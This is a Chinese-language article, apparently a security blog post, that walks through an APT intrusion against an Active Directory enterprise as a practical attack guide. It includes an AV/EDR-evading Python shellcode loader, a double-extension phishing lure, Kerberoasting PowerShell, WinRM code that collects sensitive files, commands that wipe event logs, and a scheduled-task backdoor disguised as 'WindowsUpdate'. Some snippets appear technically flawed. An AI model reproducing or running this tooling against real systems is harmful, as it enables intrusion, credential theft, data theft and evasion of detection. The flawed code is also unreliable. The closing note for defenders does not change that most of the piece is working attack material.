一、架构下的潜藏危机
现代企业的 IT 系统架构正在向复杂化发展,涵盖了 Web 应用、云服务、内网域环境、移动端与 IoT 等多种场景。这种复杂性为高级持续性威胁(APT)攻击创造了极为广阔的攻击面。APT 攻击者的核心策略是“深入潜伏”,以隐蔽的方式持续渗透目标网络,逐步实现数据窃取、系统控制甚至供应链攻击。
今天我们要分析的是一个真实的 APT 攻击案例——从初始漏洞利用到最终的数据窃取,我们会覆盖完整的攻击链,并提供实战代码与技巧。这场攻击的目标是一家使用 Active Directory(AD)域环境的大型企业,攻击者利用了 AD 环境的权限误配置实施了精准打击。
---

二、钓鱼邮件的开端
攻击的第一步,攻击者通过社会工程学构造了一封高度伪造的钓鱼邮件,邮件包含一个伪装成 PDF 的恶意附件。实际的文件名为 invoice_2023.pdf.exe,通过双扩展名诱导用户误认为这是普通的 PDF 文件。
构造恶意载荷
为了实现免杀,并规避常见的杀软与 EDR,攻击者使用 Python 编写了一个简单的载荷加载器,将最终的恶意代码内存加载运行。

<pre><code class="language-python">import base64 import ctypes
Base64编码的恶意shellcode,这里可以替换成你的真实payload
shellcode_b64 = "TWFsaWNpb3VzU2hlbGxDb2RlSGVyZQ==" shellcode = base64.b64decode(shellcode_b64)
def execute_shellcode(shellcode):
在内存中分配空间用于加载shellcode
shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
将shellcode写入分配的内存
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(shellcode_ptr), shellcode, ctypes.c_int(len(shellcode)))
创建线程并执行代码
thread_handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(shellcode_ptr), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
等待线程完成
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_handle), ctypes.c_int(-1))
execute_shellcode(shellcode)</code></pre>
这段代码通过 Windows API 动态加载 shellcode,避免了直接落地文件的检测。攻击者使用 PyInstaller 打包成 EXE 文件,并通过邮件发送给目标用户。
社工技术的关键
邮件内容以目标公司的真实供应商信息作为伪装,同时使用非公开的业务流程细节提升可信度。例如:“您在 2023 年 10 月提交的发票有问题,请核对附件并尽快回复。”这种邮件极具说服力,目标用户的点击率非常高。
---
三、权限提升:从普通用户到域管理员
当目标用户运行恶意载荷后,攻击者获得了初始权限,通常是一个普通用户账户。接下来,攻击者会在内网环境中寻找权限提升的机会。
利用权限误配置进行提升
在该案例中,攻击者发现目标 Active Directory 环境存在权限误配置:域用户组中的所有用户都可以读取域控制器中的敏感配置文件。攻击者利用了 BloodHound 工具对域环境进行分析,发现了一个“Kerberoasting”攻击的机会。
Kerberoasting 的实施过程
攻击者通过 PowerShell 请求了域控制器中的服务票据(Service Ticket),并对其进行了离线破解。以下是完整的 PowerShell 实现代码:
<pre><code class="language-powershell"># 请求服务票据 Add-Type -AssemblyName System.IdentityModel $domain = "target.local" $spn = "HTTP/targetserver.target.local" $krbRequest = [System.IdentityModel.Tokens.KerberosRequestorSecurityToken]::new($spn)
保存票据到文件
$krbRequest.GetKerberosTicket() | Out-File -FilePath "C:\temp\ticket.kirbi" -Encoding Byte
使用 Hashcat 或其他工具离线破解
Invoke-Expression "hashcat -m 13100 ticket.kirbi password_dictionary.txt --force"</code></pre>
通过离线破解,攻击者成功得到了域管理员的密码,完成了权限提升。
---
四、横向移动与数据窃取
掌握域管理员权限后,攻击者可以轻松横向移动到域内的其他主机。攻击者发现目标网络中存在多个文件服务器,存储了敏感的客户数据与财务报表。
横向移动的实战代码
以下是利用 PowerShell 进行横向移动的代码示例:
<pre><code class="language-powershell"># 目标主机列表 $targets = @("192.168.1.101", "192.168.1.102", "192.168.1.103")
使用WinRM远程执行命令
foreach ($target in $targets) { Invoke-Command -ComputerName $target -ScriptBlock {
远程执行命令下载敏感文件
$sensitiveFiles = Get-ChildItem "C:\SensitiveData\*.xls" foreach ($file in $sensitiveFiles) { Copy-Item $file.FullName "C:\temp\stolen_data\" -Force } } }</code></pre>
攻击者成功将敏感数据转移到 C2 服务器,并通过 HTTPS 隧道加密传输,避免流量分析。
---
五、免杀与对抗的艺术
在整个攻击链中,免杀与对抗技术是关键所在。攻击者采用了以下几种技巧来规避检测:
- 动态加载代码:避免直接落地恶意文件,减少静态检测的可能性。
- 流量伪装:通过 HTTPS 隧道加密流量,伪装为普通的 Web 请求。
- 基于时间的隐藏行为:在夜间时段执行横向移动与数据窃取,降低被人工监控发现的可能性。
- 自定义 C2 通信协议:使用随机化的请求头与数据包格式,规避流量特征检测。
---
六、痕迹清除与后门维持
攻击者在完成数据窃取后,会清除攻击痕迹并植入后门,以便后续访问。
痕迹清除代码
以下是利用 PowerShell 清除系统日志的代码:
<pre><code class="language-powershell"># 清除Windows事件日志 wevtutil.exe cl Application wevtutil.exe cl Security wevtutil.exe cl System
删除临时文件
Remove-Item -Path "C:\temp\" -Recurse -Force</code></pre>
后门植入代码
攻击者使用了一个简单的后门,利用计划任务维持访问。
<pre><code class="language-powershell">$payload = "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\temp\backdoor.ps1" $taskName = "WindowsUpdate" $trigger = New-ScheduledTaskTrigger -AtStartup Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute $payload) -Trigger $trigger -TaskName $taskName</code></pre>
这段后门代码会在系统启动时自动执行,确保攻击者的访问权限。
---
七、个人经验与反思
从攻击者的角度来看,这个案例充分体现了 APT 攻击的核心特点:隐蔽性与持续性。通过细致的信息收集与漏洞利用,攻击者可以逐步深入目标网络,直至完全控制。

对于防御者来说,强化内网权限管理与日志监控至关重要。特别是针对域环境的权限配置,需要定期审计与修复,避免权限误配置成为攻击者的突破口。
如果你是一名红队成员,这个案例可以为你提供丰富的实战经验;如果你是防御者,这则警示可以帮助你更好地理解攻击者思维,强化网络安全防御体系。